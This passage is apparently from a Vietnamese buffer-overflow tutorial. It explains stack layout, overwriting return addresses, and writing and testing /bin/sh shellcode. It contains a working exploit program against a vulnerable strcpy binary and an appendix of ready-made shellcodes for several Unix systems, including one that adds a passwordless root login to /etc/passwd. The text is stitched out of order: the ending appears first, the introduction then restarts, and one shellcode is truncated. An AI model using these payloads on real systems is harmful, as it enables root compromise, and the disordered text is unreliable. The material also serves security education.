call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
Test shellcode mới!

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o testsc2 testsc2.c
[đt@localhost ~/vicki]$ ./testsc2
sh-2.04$ exit
[đt@localhost ~/vicki]$
Viết tràn bộ đệm

Ví dụ 1:

overflow.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o overflow overflow.c
[đt@localhost ~/vicki]$ ./overflow
sh-2.04$ exit
[đt@localhost ~/vicki]$
* Giải thích:

đỉnh của +--------------+ đáy của +----------------+ đỉnh của
bộ nhớ | ret addr | stack | addr(buffer) | bộ nhớ
+--------------+ | addr(buffer) |
| ebp | | ... |
+--------------+ | addr(buffer) |
| | | addr(buffer) | large_string[128]
| buffer[96] | | addr(buffer) |
| | | |
+--------------+ | shellcode |
| long_ptr | --------------> | |
đáy của +--------------+ đỉnh của +----------------+ đáy của
bộ nhớ stack bộ nhớ

STACK HEAP
char large_string[128]; //cấp phát một vùng nhớ 128 bytes trên HEAP

long *long_ptr = (long *) large_string; // cho long_ptr trỏ đến đầu mảng large_string[]

for (i=0; i<32; i++)
*(long_ptr+i) = (int)buffer; //lắp đầy mảng large_string[] bằng địa chỉ của mảng buffer[]

for (i=0; i<strlen(shellcode); i++)
large_string[i] = shellcode[i]; //đẩy shellcode vào phần đầu của mảng large_string[]

strcpy(buffer, large_string); //copy large_string vào buffer... làm tràn bộ đệm

Trước hết chúng ta khởi tạo một mảng large_string[] có kích thước lớn hơn buffer[] trên HEAP. Tiếp theo lắp đầy large_string[] bằng địa chỉ của buffer[]. Shellcode sẽ được gắn vào phần đầu của large_string[]. Khi hàm strcpy được thực hiện, nó sẽ copy large_string vào buffer. Bởi vì large_string quá lớn nên nó sẽ ghi đè lên ebp và return addr. Phần trên của mảng large_string toàn là địa chỉ của buffer[] - addr(buffer) nên return addr sẽ trỏ đến buffer[0]. Mà nằm ngay ở phần đầu của buffer lại chính là shellcode(do ta đã copy large_string vào buffer bằng hàm strcpy), nên shellcode sẽ được thi hành, nó sẽ đổ ra một shell lệnh.

Ví dụ 2:

Để viết tràn bộ đệm, bạn phải biến địa chỉ của buffer trên stack. Thật may cho chúng ta là hầu như tất cả các chương trình đều có cùng địa chỉ bắt đầu stack. Chúng ta có thể lấy được địa chỉ bắt đầu của stack qua chương trình sau:

sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o sp sp.c
[đt@localhost ~/vicki]$ ./sp
0xbffffb07
[đt@localhost ~/vicki]$
Giả sử chương trình mà chúng ta cố làm tràn bộ đệm như sau:

vulnerable.c
----------------------------------------------
int main(int argc, char *argv[])
{
char buffer[500];
if(argc>=2) strcpy(buffer, argv[1]);
return 0;
}
----------------------------------------------
Đây là chương trình exploit.c. exploit sẽ làm tràn bộ đệm của vulnerable và buộc vulnerable đổ một shell lệnh cho chúng ta.

exploit.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define BUFFERSIZE 600
#define OFFSET 0
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
int i, offset=OFFSET, bsize=BUFFERSIZE;
long esp, ret, *addr_ptr;
char *buffer, *ptr, *osptr;

if (argc>1) bsize=atoi(argv[1]);
if (argc>2) offset=atoi(argv[2]);

esp=get_esp();
ret=esp-offset;

printf("Stack pointer: 0x%x\n",esp);
printf("Offset : 0x%x\n",offset);
printf("Return addr : 0x%x\n",ret);

if (!(buffer=malloc(bsize)))
{
printf("Khong the cap phat bo nho.\n");
exit(-1);
}

ptr=buffer;
addr_ptr=(long *)ptr;
for (i=0;i<bsize;i+=4)
*(addr_ptr++)=ret;

for (i=0;i<bsize/2;i++)
buffer[i]=NOP;

ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];

buffer[bsize-1]=0;
execl("./vulnerable","vulnerable",buffer,0);
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o vulnerable vulnerable.c
[đt@localhost ~/vicki]$ cc -o exploit exploit.c
[đt@localhost ~/vicki]$ ./exploit
Stack pointer: 0xbffffaf8
Offset : 0x0
Return addr : 0xbffffaf8

sh-2.04$
Giải thích:

Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm.

esp=get_esp();
ret=esp-offset;

Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) - OFFSET . Tại sao phải trừ cho offset? Bởi vì chúng ta có gọi hàm execl("./vulnerable","vulnerable",buffer,0); sau cùng, nên ESP lúc này sẽ bị trừ đi một số bytes do chương trình exploit có sử dụng một số bytes trên stack cho các tham số và biến cục bộ của hàm.Điều này sẽ tăng khả năng địa chỉ trở về trỏ đến một nơi nào đó trong buffer[] của vulnerable, nơi mà chúng ta sẽ đặt NOPs và shellcode.

Quan sát stack:

+---------------+
| argv[] & argc |
| của exploit |
+---------------+
| return addr 1 |
+---------------+
| ebp 1 |
+---------------+
| |
| các biến cục |
| bộ của exploit|
| |
+---------------+
| argv[] & argc |
| của exploit |
+---------------+
| return addr 2 | ----\
+---------------+ |
| ebp 2 | |
+---------------+ |
| | |
| buffer[] của | |
| vulnerable | <---/
| |
+---------------+
Chúng ta cần làm tràn buffer[] của vulnerable để return addr 2 trỏ đến đâu đó trong buffer[]. Cũng như ví dụ 1- overflow.c(bạn hãy xem lại thật kĩ ví dụ 1), chúng ta sẽ tạo một vùng nhớ trên heap:

if (!(buffer=malloc(bsize)))
{
printf("Khong the cap phat bo nho.\n");
exit(-1);
}
Bây giờ lắp đầy buffer bằng địa chỉ trở về mà chúng ta đã tính được:

ptr=buffer;
addr_ptr=(long *)ptr;
for (i=0;i<bsize;i+=4)
*(addr_ptr++)=ret;
Tiếp theo chúng ta sẽ lắp đầy 1/2 buffer bằng NOPs

for (i=0;i<bsize/2;i++)
buffer[i]=NOP;
Sau đó, chúng ta đặt shellcode vào giữa NOPs

ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
Cuối cùng đặt '\0' vào buffer để hàm strcpy() trong vulnerable biết đã hết data cần copy.

buffer[bsize-1]=0;
Tiến hành làm tràn bộ đệm của vulnerable, bạn sẽ có được shell lệnh do vulnerable spawn.

execl("./vulnerable","vulnerable",buffer,0);
Quan sát stack, buffer[] của vulnerable và return addr 2 sau khi tràn bộ đệm sẽ có dạng như sau:

+------------+
|return addr2| -----\
+------------+ |
| ebp 2 | |
+------------+ |
| ... | |
| nop | |
| ... | |
| shellcode | |
| ... | |
| nop | |
| nop | <----/
| nop |
| ... |
+------------+
Chúng ta hi vọng rằng return addr 2 sẽ trỏ đến 1 nop trước shellcode. Các câu lệnh NOPs sẽ không làm gì hết, đến khi gặp shellcode, shellcode sẽ đổ shell lệnh cho chúng ta(bạn hãy xem lại phần "Hình dung cách đặt shellcode trên stack).

Phụ lục

Các loại shellcode

BSDi

char code[] =
"\xeb\x57\x5e\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e"
"\x26\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8\x31"
"\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2\x31\xc0\x88"
"\x46\x0b\x89\xf3\x83\xc0\x05\x31\xc9\x83\xc1\x01\x31"
"\xd2\xcd\x80\x89\xc3\x31\xc0\x83\xc0\x04\x31\xd2\x88"
"\x56\x27\x89\xf1\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31"
"\xc0\x83\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"BIN/SH";

FreeBSD

char code[]=
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
"\x02\x02\x02/bin/sh.-c.sh";

Replace .sh with .anycommand

Linux x86

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

OpenBSD

OpenBSD shellcode that adds an unpassworded root login
"w00w00" to /etc/passwd... Courtesy of w00w00.
(Changed from /tmp/passwd to /etc/passwd... give kiddies a chance smilie

char shell[]=
"\xeb\x2b\x5e\x31\xc0\x88\x46\x0b"
"\x88\x46\x29\x50\xb0\x09\x50\x31"
"\xc0\x56\x50\xb0\x05\xcd\x80\x89"
"\xc3\x6a\x1d\x8d\x46\x0c\x50\x53"
"\x50\x31\xc0\xb0\x04\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80\xe8\xd0\xff"
"\xff\xff\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x30\x77\x30"
"\x30\x77\x30\x30\x3a\x3a\x30\x3a"
"\x30\x3a\x77\x30\x30\x77\x30\x30"
"\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x30\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff";

Solaris / Sparc

char c0de[] =
/* setreuid() */
"\x82\x10\x20\xca" /* mov 0xca, %g1 */
"\x92\x1a\x40\x09" /* xor %o1, %o1, %o1 */
"\x90\x0a\x40\x09" /* and %o1, %o1, %o0 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */
"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */
"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */
"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */
"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */
"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */
"\x91\xd0\x20\x08" /* ta 8

Solaris / x86

char c0de[] =

"\xeb\x0a" /* jmp initcall */
"\x9a\x01\x02\x03\x5c\x07\x04" /* lcall */
"\xc3" /* ret */
"\xeb\x05" /* jmp setuidcode */
"\xe8\xf9\xff\xff\xff" /* call jmpz */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\xf7" /* movb %al, 0xfffffff7(%esi) */
"\x89\x46\xf2" /* movl %eax, 0xfffffff2(%esi) */
"\x50" /* pushl %eax */
"\xb0\x8d" /* movb $0x8d, %al */
"\xe8\xe0\xff\xff\xff" /* call initlcall */
"\x29\xc0" /* subl %eax, %eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17, %al */
"\xe8\xd6\xff\xff\xff" /* call initlcall */
"\xeb\x1f" /* jmp callz */
"\x5e" /* popl %esi */
"\x8d\x1e" /* leal (%esi), %ebx */
"\x89\x5e\x0b" /* movl %ebx, 0x0b(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x19" /* movb %al, 0x19(%esi) */
"\x89\x46\x14" /* movl %eax, 0x14(%esi) */
"\x89\x46\x0f" /* movl %eax, 0x0f(%esi) */
"\x89\x46\x07" /* movl %eax, 0x07(%esi) */
"\xb0\x3b" /* movb $0x3b, %al */
"\x8d\x4e\x0b" /* leal 0x0b(%esi), %ecx */
"\x51" /* pushl %ecx */
"\x51" /* pushl %ecx */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xeb\x18" /* jmp lcall */
"\xe8\xdc\xff\xff\xff" /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh */
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04"; /* lcall */

Công cụ tạo shellcode "Hellkit"

Hellkit là một công cụ dùng tạo shellcode cho Linux rất dễ dùng. Hellkit rất đa năng, đặc biệt Hellkit còn cho phép tạo shellcode có kích thước lên đến 65535 bytes!

Tài liệu tham khảo

"Smashing The Stack For Fun And Profit"(phrack 49-14) - Aleph One
"Advanced buffer overflow exploits" - Taeho Oh

Do hiểu biết còn nhiều hạn chế nên bài viết này không tránh khỏi những thiếu xót, rất mong nhận được sự đóng góp, giúp đỡ của các bạn để bài viết được hoàn thiện hơn. Thanks
Tác giả: apache

Tìm hiểu đầy đủ về tràn bộ đệm


Lời mở đầu

Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn bộ đệm...?

***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần thiết đối với bạn!

Sơ đồ tổ chức bộ nhớ của một chương trình

/------------------ địa chỉ vùng nhớ cao
| |
| Stack |
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Text |
| |
------------------/ địa chỉ vùng nhớ thấp
Stack và Heap?

Heap là vùng nhớ dùng để cấp phát cho các biến tỉnh hoặc các vùng nhớ được cấp phát bằng hàm malloc()

Stack là vùng nhớ dùng để lưu các tham số và các biến cục bộ của hàm.

Các biến trên heap được cấp phát từ vùng nhớ thấp đến vùng nhớ cao. Trên stack thì hoàn toàn ngược lại, các biến được cấp phát từ vùng nhớ cao đến vùng nhớ thấp.

Stack hoạt động theo nguyên tắc "vào sau ra trước"(Last In First Out - LIFO). Các giá trị được đẩy vào stack sau cùng sẽ được lấy ra khỏi stack trước tiên.

PUSH và POP

Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp).

đỉnh của bộ nhớ /------------ đáy của stack
| |
| |
| |
| |
| |
| | <-- ESP
đáy của bộ nhớ ------------/ đỉnh của stack
* PUSH một value vào stack

đỉnh của bộ nhớ /------------ đáy của stack
| |
| |
| |
| |
| | <- ESP cũ
|------------|
(2) -> value | <- ESP mới = ESP cũ - sizeof(value) (1)
đáy của bộ nhớ ------------/ đỉnh của stack
1/ ESP=ESP-sizeof(value)
2/ value được đẩy vào stack

* POP một value ra khỏi stack

đỉnh của bộ nhớ /------------ đáy của stack
| |
| |
| |
| |
| | <- ESP mới = ESP cũ + sizeof(value)(2)
|------------|
(1) <- value | <- ESP cũ
đáy của bộ nhớ ------------/ đỉnh của stack
1/ value được lấy ra khỏi stack
2/ ESP=ESP+sizeof(value)

Khác nhau giữa các lệnh hợp ngữ AT&T với Intel

Khác với MSDOS và WINDOWS, *NIX dùng các lệnh hợp ngữ AT&T. Nó hoàn toàn ngược lại với chuẩn của Intel/Microsoft.

Ví dụ:

Intel AT&T
mov eax, esp movl %esp, %eax
push 7 push $7
mov [esp+5], eax movl %eax, 0x5(%esp)
inc ah incb %ah
push 7 push $7
...

* Ghi chú:

e - Extended 32 bits
% - register
mov %src, %des
movl - move 1 long
movb - move 1 byte
movw - move 1 word
$ - hằng
# - chú thích
...

Cách làm việc của hàm

Thanh ghi EIP luôn trỏ đến địa chỉ của câu lệnh tiếp theo cần thi hành.

Khi gọi hàm, đầu tiên các tham số được push vào stack theo thứ tự ngược lại. Tiếp theo địa chỉ của câu lệnh được push vào stack. Sau đó, thanh ghi EBP được push vào stack(dùng để lưu giá trị cũ của EBP).

Khi kết thúc hàm, thanh ghi EBP được pop ra khỏi stack(phục hồi lại giá trị cũ của EBP). Sau đó địa chỉ trở về(ret address) được pop ra khỏi stack và lệnh tiếp theo sau lời gọi hàm sẽ được thi hành.

Thanh ghi EBP được dùng để xác định các tham số và các biến cục bộ của hàm.

Ví dụ:

test.c
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
Để hiểu được chương trình gọi hàm function() như thế nào, bạn hãy compile vidu1.c, dùng tham số -S để phát mã assembly:

[đt@localhost ~/vicki]$cc -S -o test.s test.c

Xem file test.s, chúng ta sẽ thấy call function() được chuyển thành:

pushl $3
pushl $2
pushl $1
call function
3 tham số truyền cho function() lần lượt được push vào stack theo thứ tự ngược lại. Câu lệnh 'call' sẽ push con trỏ lệnh(tức là thanh ghi EIP) vào stack để lưu địa chỉ trở về.

Các lệnh đầu tiêu trong hàm function() sẽ có dạng như sau:

pushl %ebp
movl %esp,%ebp
subl $20,%esp
Đầu tiên ESP(frame pointer) được push vào stack. Sau đó chương trình copy ESP vào EBP để tạo một FP pointer mới. Bạn dễ nhận thấy lúc này ESP và EBP đều đang trỏ đến ô nhớ chứa EBP cũ. Hãy ghi nhớ điều này. Tiếp theo ESP được trừ đi 20 để dành không gian cho các biến cục bộ của hàm function()

Vì chương trình 32 bits nên 5 bytes buffer1 sẽ là 8 bytes(2 words) trong bộ nhớ(do làm tròn đến 4 bytes hay là 32 bits), 10 bytes buffer2 sẽ là 12 bytes trong bộ nhớ(3 words). Tổng cộng sẽ tốn 8+12=20 bytes cho các biến cục bộ của function() nên ESP phải bị trừ đi 20! Stack sẽ có dạng như sau:

đáy của đỉnh của
bộ nhớ bộ nhớ
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

đỉnh của 12 bytes 8 bytes 4b 4b đáy của
stack stack
Trong hàm function(), nội dung thanh ghi EBP không bị thay đổi.

0xz%ebp dùng để xác định ô nhớ chứa tham số của hàm
0xfffffz%ebp dùng để xác định ô nhớ chứa biến cục bộ của hàm

Khi kết thúc hàm function():

movl %ebp,%esp
popl %ebp
ret
movl %ebp, %esp sẽ copy EBP vào ESP. Vì EBP khi bắt đầu hàm trỏ đến ô nhớ chứa EBP cũ và EBP không bị thay đổi trong hàm function() nên sau khi thực hiện lệnh movl, ESP sẽ trỏ đến ô nhớ chứa EBP cũ. popl %ebp sẽ phục hồi lại giá trị cũ cho EBP đồng thời ESP sẽ bị giảm 4(ESP=ESP-sizeof(EBP cũ)) sau lệnh popl. Như vậy ESP sẽ trỏ đến ô nhớ chứa địa chỉ trở về(nằm ngay trên ô nhớ chứa EBP cũ). ret sẽ pop địa chỉ trở về ra khỏi stack, ESP sẽ bị giảm 4 và chương trình tiếp tục thi hành câu lệnh sau lệnh call function().

Chương trình bị tràn bộ đệm

Ví dụ:

gets.c:
---------------------------------------
int main()
{
char buf[20];
gets(buf);
}
---------------------------------------
[đt@localhost ~/vicki]$ cc gets.c -o gets
/tmp/cc4C6vaT.o: In function `main':
/tmp/cc4C6vaT.o(.text+0xe): the `gets' function is dangerous and should not be used.
[đt@localhost ~/vicki]$
gets(buf) sẽ nhận input data vào buf. Kích thước của buf chỉ là 20 bytes. Nếu ta đẩy data có kích thước lớn hơn 20 bytes vào buf, 20 bytes data đầu tiên sẽ vào mảng buf[20], các bytes data sau sẽ ghi đè lên EBP cũ và tiếp theo là ret addr. Như vậy chúng ta có thể thay đổi được địa chỉ trở về, điều này đồng nghĩa với việc chương trình bị tràn bộ đệm.

đỉnh của bộ nhớ +-------------+ đáy của stack
| return addr |
+-------------+
| EBP cũ |
+-------------+
| |
| |
| buf[20] |
| |
| |
đáy của bộ nhớ +-------------+ đỉnh của stack
Bạn hãy thử:

[đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets
[đt@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax 0xbffffbc4 -1073742908
ecx 0xbffffbc4 -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp 0xbffffbe0 0xbffffbe0
ebp 0x41414141 0x41414141 // hãy nhìn xem, chúng ta vừa ghi đè lên ebp
esi 0x4000a610 1073784336
edi 0xbffffc24 -1073742812
eip 0x40031100 0x40031100
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
[đt@localhost ~/vicki]$
0x41 chính là "A" ở dạng hex

Bây giờ bạn hãy thử tiếp:

[đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets
Segmentation fault
[đt@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax 0xbffffbc4 -1073742908
ecx 0xbffffbc4 -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp 0xbffffbe0 0xbffffbe0
ebp 0x41414141 0x41414141 // chúng ta đã ghi đè lên ebp
esi 0x4000a610 1073784336
edi 0xbffffc24 -1073742812
eip 0x41414141 0x41414141 // chúng ta đã ghi đè lên eip
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
[đt@localhost ~/vicki]$
Địa chỉ trở về bị thay đổi thành 0x41414141, chương trình sẽ thi hành các lệnh tại 0x41414141, tuy nhiên đây là vùng cấm nên Linux đã báo lỗi "Segmentation fault"

Shellcode

Hình dung các đặt shellcode trên stack

Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip. Tuy nhiên, chúng ta cần phải thay đổi địa chỉ trở về trỏ đến shellcode để đổ một shell. Bạn có thể hình dung ra cách đặt shellcode trên stack như sau:

Trước khi tràn bộ đệm:

đáy của bộ nhớ đỉnh của bộ nhớ
<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
đỉnh của stack đáy của stack
B = buffer
E = stack frame pointer
R = return address
F = các data khác

Khi tràn bộ đệm:

đáy của bộ nhớ đỉnh của bộ nhớ
<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
đỉnh của stack đáy của stack
S = shellcode
A = con trỏ đến shellcode
F = các data khác

(1) Lắp tràn bộ đệm(đến return addr) bằng địa chỉ của buffer
(2) Đặt shellcode vào buffer

Như vậy địa chỉ trở về sẽ trỏ đến shellcode, shellcode sẽ đổ một root shell. Tuy nhiên, thật khó để làm cho ret addr trỏ đến đúng shellcode. Có một cách khác, chúng ta sẽ đặt vào đầu của buffer một dãy lệnh NOP(NO oPeration - không xử lí), tiếp theo chúng ta đẩy shellcode vào sau NOPs. Như vậy khi thay đổi ret addr trỏ đến một nơi này đó ở đầu buffer, các lệnh NOP sẽ được thi hành, chúng không làm gì cả. Đến khi gặp các lệnh shellcode, shellcode sẽ làm nhiệm vụ đổ root shell. Stack có dạng như sau:

đáy của bộ nhớ đỉnh của bộ nhớ
<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
đỉnh của stack đáy của stack
N = NOP
S = shellcode
A = con trỏ đến shellcode
F = các data khác

Viết và test thử shellcode

Shellcode được đặt trên stack nên không thể nào dùng địa chỉ tuyệt đối. Chúng ta buộc phải dùng địa chỉ tương đối. Thật may cho chúng ta, lệnh jmp và call có thể chấp nhận các địa chỉ tương đối. Shellcode sẽ có dạng như sau:

0 jmp (nhảy xuống z bytes, tức là đến câu lệnh call)
2 popl %esi
... đăt các hàm tại đây ...
Z call <-Z+2> (call sẽ nhảy lên z-2 bytes, đếb ngay câu lệnh sau jmp, POPL)
Z+5 .string (biến)
Giải thích: ở đầu shellcode chúng ta đặt một lệnh jmp đến call. call sẽ nhảy ngược lên lại câu lệnh ngay sau jmp, tức là câu lệnh popl %esi. Chúng ta đặt các dữ liệu .string ngay sau call. Khi lệnh call được thi hành, nó sẽ push địa chỉ của câu lệnh kế tiếp, trong trường hợp này là địa chỉ của .string vào stack. Câu lệnh ngay sau jmp là popl %esi, như vậy esi sẽ chứa địa chỉ của .string. Chúng ta đặt các hàm cần xử lí giữa popl %esi và call <-z+2>, các hàm này sẽ xác định các dữ liệu .string qua thanh ghi esi.

Mã lệnh để đổ shell trong C có dạng như sau:

shellcode.c
-----------------------------------------------------------------------------
#include

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
Để tìm ra mã lệnh assembly thật sự của shellcode, bạn cần compile shellcode.c và sau đó chạy gdb. Nhớ dùng cờ -static khi compile shellcode.c để gộp các mã lệnh assembly thật sự của hàm execve vào, nếu không dùng cờ này, bạn chỉ nhận được một tham chiếu đến thư viện liên kết động của C cho hàm execve.

[đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static shellcode.c
[đt@localhost ~/vicki]$ gdb shellcode
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
